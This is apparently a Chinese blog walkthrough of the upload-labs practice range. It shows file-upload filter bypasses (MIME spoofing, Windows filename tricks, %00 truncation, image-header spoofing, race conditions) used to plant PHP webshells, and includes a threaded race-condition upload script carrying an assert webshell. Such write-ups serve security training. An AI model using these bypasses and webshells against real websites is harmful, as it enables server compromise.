都是鄙人做题思路记下来的一些心得笔记罢了。


Pass-01

先传一个图片过去,成功上传。



尝试传muma过去,提示失败,但是这个提示是在前端直接显示出来的,好像并没有发送请求过去。



尝试找到前端校验代码,直接在开发者模式将其js调用的函数删掉。





然后再次尝试上传木马,上传成功了



直接看服务端也是上传成功了。

Pass-02

观察前端也是有之前的第一关的前端校验,删除后直接尝试上传木马。

发现上传失败。





可以看到前端代码我们通过了,但是后端可能又校验没有通过,所以抓包观察一下。

  • 首先尝试修改content-type是否能够上传过去。

    Content-Type: image/jpg



    可以看得到还是失败了。



    可能jpg不行,那试试png?

    还真过去了!现在就是直接找到回显的这个路径直接连接就行了。因为这个回显的路径和文件名都是php,也能够直接访问,然后也被当成php执行了里面的木马代码。

我很纳闷为什么jpg不行,难道jpg列入黑名单了?那就showcode看看

原来是jpg没有进白名单,所以有时候多尝试几个mime头还是OK的。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}

但是我仔细一想,发现要是我一开始就先尝试看看哪种文件能够上传成功那就和自己对着能够上传过去的文件进行修改不就好了吗?我重新尝试了一下上传jpg图片看看是不是真的没法上传,但是意外上传成功了!?



后面再另外上传一个伪装jpg一抓包发现,原来jpg图片现在的mime头都是JPEG了。。。。原来是我的问题。。。。

Pass-03

先传一个带木马的jpg文件看看过不过得去



正常过去了



看下该文件路径,使用时间戳进行更改名字。但是我们的web.jpg确实过去了,很有可能没有对我内容进行检查,所以我们要抓包在文件名处做文章。

  • 尝试直接修改后缀名但是Content-Type为jpeg(失败了)



  • 首先要理解服务端保存文件名字路径的方式,他是将.前面的全当成文件名然后用时间戳替换了,.后面符合过滤条件就使用不符合就不保存返回错误提示。

    由于我们知道服务端是采用的apache,现在有如下几种手段

    • 赌一下运维人员配置不当,存在php3,php7等等也当做php文件执行了。

      (当然这一关就是这个答案,但是需要我们手动配置好)

      在http.d文件中:AddType application/x-httpd-php .php .phtml .php5

    • 双写(肯定不行,因为直接给php拦下来了,不然的话就会变成没有后缀名的时间戳文件名的文件)

    • 尝试xx.php . 或者 xx.php. .,但是都不行,因为服务端会把最后一个点的前面都当成文件名用时间戳替换掉,那么你的filename就会成为: 时间戳.

    • 大小写混合 (失败)

    • 双写

      成功但后缀名没有被替换,依旧是失败了。

    • ::DATA(可能可以,因为windows刚好是服务端使用的系统)

    • 冒号: 二次传输(同理或许能行得通,因为也是针对windows系统)

    • .htaccess(试过了也失败了)

  • 上传php5后缀名,上传成功,根据回显路径访问文件。





  • 但是在访问的时候发现版本也是一个问题,如图所示,只有非nts版本的才能够在我们http.d下添加的后缀名能够被执行,其他都是直接下载而不是执行。(当然都是在http.d下天了php5后缀名的了,只是效果不同而已)

    下面的5.5.38由于我在windowsserver2003中,他不支持就切不了。

  • 重新发送一下木马



    直接访问看看,访问成功了。终于结束了这场闹剧。。。。

Pass-04

传一个木马图片过去看看什么情况,发现文件名没有改,然后也没有校验文件的内容





尝试::$DATA看看不行不

::$DATA失败



尝试windows的其他特性

  • xx.php .

    失败

  • xx.php. .

    成功了!!!!!!!!!!!!!但是回显是1.php.,但是没有关系,因为windows特性是不会让文件名最后一个字符是.的,所以我们接访问1.php即可





    使用蚁剑连接成功

  • xx.php:.jpg(这里需要二次传输)

    • 第一次:(成功了!!!!!!!!!!)

      传过去但是该文件没有内容,第一次的作用就是创建一个文件。



      可以看到服务端的这个文件也是0kb

    • 第二次:作用是传输文件内容进去

      这里注意传的文件名是1.<<,<<是追加符号,把内容追加到文件名为1的文件中去



      看到路径是1.<<,但是没关系,接着看后面



      我们现在尝试着连接一下1.php,同样是成功了!!!!!!!!!!!!



      回到服务器看看怎么个事。

      果然成功将内容输入进去了,不再是0kb内容。而且里面的内容就是我们要的

Pass-05

老规传一个木马图片看看怎么个事



正常传过去了,但是又是那一招使用时间戳把我文件重命名了。

那这样先传一个php文件抓包看看



直接过去肯定被拦下来了



现在有如下几个思路

  • 修改Content-Type (失败)

  • 修改Content-Type 和 添加文件头,比如GIF89A (失败)

  • windows特性

    • xx.php. (失败)

    • xx.php. . (成功!!!!!!!!)



      注意了,我这里圈出来了我之前使用过的方法比如Content-type还是gif和文件内容中也有gif的标准头,这是因为防范一下,不然刚好服务端都考虑了这两个,不然我就吃亏了,明明一个漏洞能够找到,但就是因为你没有考虑到这种组合的情况就错失了。

      但是!!!!!!!!回去一看访问路径,惨遭滑铁卢。。。。。居然还是那一招,最后一个.号前面全部使用时间戳命名了。。

再次思考一下我还有什么办法??

  • ::$DATA (失败)

  • .htaccess (还是失败)



  • 冒号:

    (也是失败了)



  • 啊难道没有办法了吗!!!!!!????

    思考了一下还能使用啥??

  • 双写绕过,感觉不太靠谱,试一试



    是过去了但是后缀名没有被替换,所以还是不行

  • 大小写混合使用???试一试??



    啊???还真过了啊,当真是兵不厌诈。。。。然后连接了一下还真是连接成功了的。。。。



Pass-06

老规矩上来就上传一个木马图片,成功了,但是依旧是熟悉的时间戳



直接上传php木马文件肯定是不允许的,这里就不演示了。

按照我们的经验,以下是我实验的顺序

  • 大小写混合(失败)

  • 双写 (失败)

  • windows特性

    • xx.php .

      成功了。。。这么简单吗???试试连接一下也OK了,但是我不甘心,我要继续测试看其他方式行不行



      • xx.php. .

        失败

      • xx.php::$DATA

        失败

      • xx.php:.jpg

        失败

  • 既然重命名了我们的.htaccess也上传不了(试过了,失败)

那就是一个xx.php .利用windows特性上传成功并成功解析木马。

查看源码发现原来如此,先是删除了末尾的点,然后变成xx.php后,strrchr就找到最后一个点然后该点后面的作为后缀名,那就是.php作为后缀名了。但是和第三关不一样的是因为这里没有将空格去掉,第三关有一个函数是: $file_name = trim($_FILES['upload_file']['name']);,所以我们的windows特性都利用失败了,只能够说通过尝试同后缀名来测试是否有运维人员的配置不当来绕过。

Pass-07

先传一个带马图片过去,上传成功



现在开始传php木马文件过去

尝试直接使用windows的特性

  • xx.php .

    居然一下子就上传成功了



    同时也连接成功

Pass-08

木马图片传过去,发现使用了老朋友时间戳重命名了文件。



由于是知道服务器使用的是windows系统,所以结合该系统特性

  • xx.php .

    失败

  • xx.php. .

    失败

  • xx.php::$DATA

    成功了



    过去后是这样的路径,不过没关系,在windows下就只剩下php后缀名了,按照回显的文件名进行访问即可。



    连接成功

  • xx.php:.jpg

    失败

Pass-09

上传木马图片,成功上传。并且我们的文件名没有改变。



先修改一下Content-type,然后也是意料之中被拦截了。



在此基础上利用apache的漏洞

  • 首先不是2.2版本一下,排除xx.php.php123后缀名解析漏洞

  • 运维人员配置不当存在可解析的后缀名。(php1,php2,php3,php4....)

    已尝试:失败了

  • 上传.htaccess文件,这个因为我们上传的文件没有被改掉名字,所以是可以尝试使用.htaccess文件

    居然也失败了,是直接被列入黑名单了。

  • 利用windows的其他特性

    • xx.php .

      失败
    • xx.php. .

      成功了居然,那就尝试连接一下。



      同样连接成功了。

  • xx.php::$DATA

    失败

  • xx.php:.jpg

    成功!!!!!



    进行二次输入,也成了,那我们尝试连接一下



    连接也成功了!!!(说明,1.php我是在服务器删除了才使用这个方式上传过去的,所以这个1.php就是使用windows的:.jpg方式二次传输过去的)

Pass-10

上传一个木马图片,回显名字发现没有被修改,那就代表没有对文件内容进行检查。



上传木马php文件,抓包修改数据包

先修改一下content-type看看是否能够直接过去。



奇怪的就是我们的php不见了,到这里一想就想到了其实是替换掉了我们的php,我么使用双写或许就绕过了。

使用双写:成功绕过



成功连接上木马

Pass-11

上传一个木马图片,上传成功,那就代表没有对内容进行检查,还发现用了时间戳修改文件名字。



尝试上传php木马

  • 首先尝试抓包修改content-type

    意料之中,失败了
  • windows特性利用
    • xx.php .

      失败
    • xx.php. .

      失败
    • xx.php::$DATA

      失败
    • xx.php:.jpg

      成功上传但是文件后缀名没有修改成功

  • 双写

    失败
  • 大小写混合

    失败
  • 那就结合apache漏洞的解析漏洞进行上传
    • 上传.htaccess文件

      但是这里使用了时间戳进行重命名,所以也是失败告终
    • 赌运维人员配置不当导致有文件后缀名能够当成php代码解析了。但是只允许上传这几个文件类型。也是失败了。

  • apache2.2版本的话还能上传一个xx.php.jpg上去,但是我们就不是用的2.2

其实当我用出了双写和混合大小写的时候就知道这题不简单了,很有可能是时间竞争,这时候我show code一下。

好的打脸了,其实不是时间竞争,而是%00截断


$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

看来我还是太嫩了,漏了这一茬,其实我应该再细心一点,上传一个图片过去的时候就应该要发现了,这里多了一个反斜杠。



还有一个线索就是我们的上传路径变成了

/uploadlabs/Pass-11/index.php?save_path=../upload/

这个就是典型的%00截断啊,你小子这么粗心这都没发现!!!!因为看到能够在客户端中给出保存的路径的时候,我们就能够通过我们自己给出的这个路径将其截断一下,刚好拿到这个save_path的时候我们就能够通过%00将其截断掉了!!!!!!!



OK那么事已至此,尘埃落定,事实证明了我是个菜鸟,直面事实吧。

上传一个php木马,然后我们直接在save_path加上截断就行



注意事项:nts版本上传失败(我这里版本切换成了5.2.17),上传的后缀名随便,真正的文件名写在%00前面,因为保存文件名的路径是使用save_path的,所以本质上这个漏洞就是判断的是我们上传的文件的后缀名,然后需要保存的路径是get请求中带过去,就是因为get这个url的目录保存路径,导致目录拼接我们的文件名的时候,我们给的目录中有截断字符,所以保存下来的就是我们的save_path目录中给出的文件名。

听懂掌声!

Pass-12

上传一个带木马的图片文件,发现成功上传,代表没有对内容进行检查,检查回显的文件名路径是是用来时间戳重命名了。



上传木马,抓包发现post数据包中发现有save_path在里面,我们就应该要立刻反映出来能够进行%00截断,因为是在客户端给出的参数中取出保存的路径这个漏洞必定有%00截断。



修改数据包将其截断,当然我们filename不能是.php后缀名,我们需要过了校验,所以使用jpg或者gif等等都无所谓,这里只是为了过后端校验罢了,我们真正保存的名字是save_path通过%00截断将其截断出来我们要保存的文件名而已,%00能够在拼接的时候截断掉后面的filename将会失效。

但是!!!!!!!!!!!!!!!!注意,这里使用的是post数据,我们%00只是在get的url中能够使用,我们%00对应的就是00,所以我们post作为正常数据的截断需要修改十六进制数据,而%00对应的十六进制数据是0x00,这就很容易了。

比如save_path=../upload/随便.php空格 ,在最后多加了一个空格,然后抓包修改的时候找到空格的十六进制将其修改为00就行,我们知道空格对应的十六进制是0x20,所以找的时候也方便,同时也让空格先占一个位置,修改的时候直接修改那个位置就行。



如上图所示,找到所在位置的十六进制对应的空格,然后修改为00即可



然后直接发送就行。(如果你burpsuite的字体是没修改过的,或许你会看到你的空格会变成一个类似口的东西在后缀名后面。这样也能够验证你修改成功了。)



连接一下suibian.php,成功连上。

Pass-13

上传一个木马图片,发现被拦下来了,所以可以笃定肯定对我们的图片内容进行检查了。



思路:

  • 改content-type
  • 该文件内容头部
  • 既然该关卡中写明了有文件包含漏洞,那我们直接传一个后缀名不是php的也是可以(包含的文件都会被当成php执行)

没想到改完后直接就过去了,甚至没有对我的后缀名和content-type进行核对



现在的任务就是利用文件包漏洞包含该路径下的1.jpg木马文件

上传过去后使用时间戳给我更改了名字而且连后缀名也改掉了,当真是无语,我给出的jpg后缀名看都不看。



那既然如此,在此关卡中给出的文件包含漏洞处尝试包含一下试试

这是文件包含的漏洞代码

 <?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>



连接成功了。



这一关是文件内容头检查,所以我们的内容中添加了GIF89A就能够绕过。(代码中是读取文件的内容进行判读类型)

这一关的源代码如下:

function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
} $is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file); if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

Pass-14

上传一个木马图片,发现对我的文件内容进行检查了



思路:

  • 改文件content-type
  • 文件内容头部数据添加对应的content-type类型头部
  • 上传不是php的也行,因为文件包含漏洞中包含的是php文件,只要我们上传文件内容中包含了木马代码即可。

上传成功



看到文件路径我也是再次无语,同样是和13关一样,我的1.php后缀名看都不看,直接使用我的content-type类型拿来作为后缀名了



利用文件包含漏洞包含该路径下的文件

这是文件包含漏洞的代码

 <?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>

尝试包含木马图片



尝试连接木马,也是连接成功了。



getimagesize函数解析

<?php
// 图像文件的路径
$filename = 'example.jpg'; // 获取图像信息
$imageinfo = getimagesize($filename); if ($imageinfo !== false) {
// 打印图像信息
echo "图像宽度: " . $imageinfo[0] . "<br>";
echo "图像高度: " . $imageinfo[1] . "<br>";
echo "图像类型: " . $imageinfo[2] . "<br>";
echo "MIME 类型: " . $imageinfo['mime'] . "<br>";
} else {
echo "无法获取图像信息。";
}
?>

image_type_to_extension函数解析,这一关的源码就是使用了上面函数返回的数组中获取下标为2的图像类型作为参数

<?php
// 图像类型
$imagetype = IMAGETYPE_JPEG; // 获取图像类型对应的文件扩展名(包含点)
$extension = image_type_to_extension($imagetype);
echo "文件扩展名(包含点):$extension<br>"; // 获取图像类型对应的文件扩展名(不包含点)
$extension_without_dot = image_type_to_extension($imagetype, false);
echo "文件扩展名(不包含点):$extension_without_dot<br>";
?>

源代码如下:

结合上面两个函数的解析可以发现,这一关中其实也就是检查文件头内容判断文件的类型,我也尝试了修改各种文件后缀名和修改各种content-type发现都改变不了后缀名,只要我们的文件内容头部是正确的都能够通过校验。

比如我数据包里面文件内容头部一直都是GIF89A,然后无论我怎么修改filename的后缀名还有修改content-type的类型都没有任何影响,我的文件照样是按照gif的类型传送过去了,然后回显给我的文件后缀名也是gif。

第13关也是一样,只不过这一关中使用的是getimagesize来获取图片信息,然后通过该数组来获取图片的类型,13关只不过是通过读取文件内容来获取图片类型而已。有异曲同工之处。

function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
} $is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

Pass-15

这一关同14关操作。

Pass-16

这一关中比较总和,我们一个一个方法进行测试。

  • 传输一个图片木马,发现被拦下来,那就代表肯定是对我们的文件内容进行检查

  • 抓包修改content-type和文件头内容

    出乎意料的居然没有通过

这时候应该思考的是我们的内容可能二次渲染了,这些二次渲染的函数会读取我们的文件内容然后根据内容重新生成图片,如果生成成功那就存下来。(先不要考虑时间竞争问题)

  • 验证是二次渲染和赌不被清空木马代码的可能性

    我们要通过二次渲染的图片就要使用图片和木马内容进行结合,目前有两种办法

    • 使用windows/linux的系统指令对正常的图片文件和木马文件进行合并
    windows的指令:copy /b 图片.jpg+木马.txt 目标.jpg   然后就通过上传目标.jpg看看是否上传成功
    
    linux就不演示了(因为我懒)
    • 使用特定的工具对图片和木马进行结合(这种方法可行性较高)

    在Vstart50中的工具:VStart50\tools\漏洞利用\edjpgcom图片插入一句话工具\edjpgcom.exe

    以上的方式我已经测试了很多种,有的能够传过去,但是利用文件包含漏洞包含解析的时候会报语法错误,只能够说能够上传过去且保留下木马代码的图片叫做坚强的木马。(只能说到这渗透勉强成功和结束了)

Pass-17

上传一个图片木马,上传成功,并没有对文件内容进行校验,但是老样子使用了时间戳重命名。



思路:

  • 时间戳重命名的话windows特性十有八九失败,但还是要一试

    • xx.php .
    • xx.php. .
    • xx.php::$DATA
    • xx.php:.jpg
  • 没有客户端给出保存路径的参数,所以00截断不行

  • 尝试上传php1/php2/php3等等后缀名(赌一下运维人员配置不当导致漏洞的发生)

  • apache上传.htaccess也会失败,因为重命名的原因。2.2版本漏洞也不存在,使用的不再是该版本。

  • 找出文件包含漏洞直接秒了,但是这一题不可以使用前面一题目的文件包含进行作弊。

  • 双写和大小写混合,实验后同样是失败了。因为固定了后缀名允许的几个图片(jpg,png,gif)

  • 那就只剩下条件竞争了

    • 时间竞争

      这一关就是通过时间竞争,时间竞争比较容易成功,因为已经存进了服务器中,只不过不通过服务器校验的话再删除而已。

      所以只要能够访问成功一次我们上传的代码文件,能做什么事情全看我们的代码写的什么。

      改代码可以是直接创建一个shell脚本,然后后续直接访问该创建出来的脚本即可。

      具体步骤参考下面即可:

      第一种:使用burpsuite攻击器来发送大量的数据包(使用两个攻击器,一个发送一个访问)

      第二种:使用python的hackhttp模块

      #pip install hackhttp安装hackhttp模块
      #!/usr/bin/env python
      # coding:utf-8 import hackhttp
      from multiprocessing.dummy import Pool as ThreadPool
      def upload(lists):
      hh = hackhttp.hackhttp()
      raw = """POST /upload-labs/Pass-17/index.php HTTP/1.1
      Host: 127.0.0.1
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101
      Firefox/49.0
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
      Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
      Accept-Encoding: gzip, deflate
      Referer: http://127.0.0.1/upload-labs/Pass-17/index.php
      Cookie: pass=17
      Connection: close
      Upgrade-Insecure-Requests: 1
      Content-Type: multipart/form-data; boundary=--------------------------
      -6696274297634
      Content-Length: 341 -----------------------------6696274297634
      Content-Disposition: form-data; name="upload_file"; filename="17.php"
      Content-Type: application/octet-stream <?php assert($_POST["LandGrey"])?>
      -----------------------------6696274297634
      Content-Disposition: form-data; name="submit" 上传
      -----------------------------6696274297634--
      """
      code, head, html, redirect, log = hh.http('http://127.0.0.1/upload-labs/Pass-/index.php',raw=raw)
      print(str(code) + "\r") #===========================================
      pool = ThreadPool(10)
      pool.map(upload, range(10000))
      pool.close()
      pool.join()
  • 重命名竞争

    重命名在18关

Pass-18

这一关是重命名竞争。很容易复现。

首先说明,我使用的是5.2.17版本,直接就能够解析这个.php.7z文件

前提需要

  • 需要白名单内有.7z(注意是白名单为.7z,不要和下面搞混)
  • apache版本需要在2.x能解析.php.7z文件。但是实测5.2.17也能够解析.php.7z文件(注意,是能够解析.php.7z)
  • 使用burpsuite快速进行发送数据包即可。如果手速不够快直接使用burpsuite攻击器进行攻击。使用其他攻击器也行。

下面演示使用burpsuite



可以看到直接成功了,根本没有用到攻击器(也有可能是我搭建的环境比较垃圾,删除的比较慢,所以攻击成功。)

但是注意,这里是代码开了一个小玩笑,我们上传的是1.php.7z,但是这里却是upload1.php.7z,很容易就想到是少了一个/导致路径拼接成了upload1.php.7z,(原本应该是想传到upload/1.php.7z)但是没有关系,我们上传成功了即可,现实中不会出现这种错误。



再次说明,我使用的是5.2.17版本,直接就能够解析这个.php.7z文件

所以现在尝试使用蚁剑连接试试,成功了。

Pass-19

原理同Pass-11,上传的文件名用0x00绕过。改成19.php【二进制00】.1.jpg,这里就不在演示了。

Pass-20

源码审计,源自CTF比赛的,由于实际工作中代码不可能都一样,所以审计这里就不写了。

UploadLabs靶场的更多相关文章

  1. Windows10_64位下upload-labs靶场搭建+phpstudy_v8.1安装教程

     之前介绍了Windows10_64位搭建WampServer的教程,这一次再来水一篇phpstudy的搭建教程.哈哈哈.     顺便安装一下upload-labs,搭着玩玩~         操作 ...

  2. upload-labs 上传漏洞靶场环境以及writeup

    一个帮你总结所有类型的上传漏洞的靶场 https://github.com/c0ny1/upload-labs 靶场环境(基于phpstudy这个php集成环境) https://github.com ...

  3. Upload-labs 文件上传靶场通关攻略(下)

    Upload-Labs靶场攻略(下) Pass-11 GET型传参,上传目录可设置,考虑00截断,在/upload/后添加1.php%00,即可上传 Pass-12 POST型传参,上传目录可设置,P ...

  4. Upload-labs 文件上传靶场通关攻略(上)

    Upload-labs 文件上传靶场通关攻略(上) 文件上传是Web网页中常见的功能之一,通常情况下恶意的文件上传,会形成漏洞. 逻辑是这样的:用户通过上传点上传了恶意文件,通过服务器的校验后保存到指 ...

  5. 文件上传靶场 upload-labs搭建 Pass 1-4

    upload-labs是一个练习文件上传的靶场 我们需要先安装中间件和PHP,推荐使用小皮面板,如何安装使用见sqli-labs搭建前部分 upload-labs下载:https://gitcode. ...

  6. 文件上传漏洞靶场:upload-labs(附在线地址)

    重装系统:CentOS 7.6 密钥对验证,或密码验证,根据自身情况选择,博主这边为了ssh连接方便选用的密码校验. WindTerm登录系统 需提前去云服务器的安全组,开放22端口ssh连接. 更新 ...

  7. Docker部署CTF综合性靶场,定时刷新环境

    部署如DVWA或upload-labs这类综合性靶场的时候,虽然是使用Docker环境,设置好权限后容器被击穿的问题不需要考虑,但担心部分选手修改了题目环境,比如一直XSS弹窗,所以想要编写脚本每天定 ...

  8. 上传靶机实战之upload-labs解题

    前言 我们知道对靶机的渗透可以提高自己对知识的掌握能力,这篇文章就对上传靶机upload-labs做一个全面的思路分析,一共21个关卡.让我们开始吧,之前也写过关于上传的专题,分别为浅谈文件上传漏洞( ...

  9. 【ARTS】01_38_左耳听风-201900729~201900804

    ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...

  10. 文件上传漏洞靶场:upload-labs安装及第一关教程

    注:本文仅供学习使用,请勿用于非法操作,后果与作者无关!!! 一.简介 upload-labs是一个使用php语言编写的,专门收集渗透测试过程中遇到的各种上传漏洞的靶场.旨在帮助大家对上传漏洞有一个全 ...

随机推荐

  1. #决策单调性dp,分治#LOJ 6039「雅礼集训 2017 Day5」珠宝

    题目传送门 分析 观察到这个0/1背包中单个物品的体积不超过300,考虑分体积考虑. 设 \(dp[i]\) 表示容量大小为 \(i\) 的背包能获得的最大价值, \(dp[i]=\max\{dp[i ...

  2. 知识汇总:查看linux服务器系统命令

    要查看Linux服务器的系统信息,你可以使用多种命令来获取不同类型的信息.以下是一些常 用的命令和它们的用途: uname - 显示基本的系统信息 uname -a:显示所有的系统信息,包括内核名称. ...

  3. 深入理解 C++ 右值引用和移动语义:全面解析

    C++11引入了右值引用,它也是C++11最重要的新特性之一.原因在于它解决了C++的一大历史遗留问题,即消除了很多场景下的不必要的额外开销.即使你的代码中并不直接使用右值引用,也可以通过标准库,间接 ...

  4. Pandas统计计算

    基本的统计方法 Method Description count Number of non-NA values describe Compute set of summary statistics ...

  5. 6本值得推荐的MySQL学习书籍(有赠书福利)

    前言 在DotNetGuide技术社区交流群和微信公众号后台经常收到小伙伴们的留言,让我出一期MySQL相关学习书籍的推荐文章.因此,今天我特意为大家精选了 6 本值得推荐的 MySQL 学习书籍,希 ...

  6. jsPDF 添加 中文字体 分页打印 移除空白页

    jsPDF2.5版本 默认不支持utf-8的字体 具体看官方的说明,默认是不支持中文的.要使用中文需要自己添加字体. 1 将字体转换为base64编码 然后引入.也可以直接引入二进制文件,但没试过这个 ...

  7. MogDB/openGauss 开机自启动

    MogDB/openGauss 开机自启动 在 centos7.6 操作系统上设置 MogDB/openGauss 开机自启动,我们先来了解一下自定义服务的配置文件组成部分,共分为[Unit].[Se ...

  8. MogDB/openGauss访问控制简介

    MogDB/openGauss 访问控制简介 SQL 可以针对不同的数据库对象赋予不同的权限,这样就可以限制用户对数据的不必要访问,提高数据访问的安全性.常见的 SQL 权限如下: SELECT/UP ...

  9. 《深入理解Java虚拟机》读书笔记:内存分配策略

    Java技术体系中所提倡的自动内存管理最终可以归结为自动化地解决了两个问题:给对象分配内存以及回收分配给对象的内存.关于回收内存这一点,我们已经使用了大量篇幅去介绍虚拟机中的垃圾收集器体系以及运作原理 ...

  10. 最后一站qsnctfwp

    题目附件 图片一: 图片二: 根据图片一判断出位置为南昌市,地铁线路为4号线 根据题目名判断出搜索范围为白马山站或鱼尾洲站 通过百度地图全景地图查看两站环境,发现白马山站以工业区为主,鱼尾洲站以住宅区 ...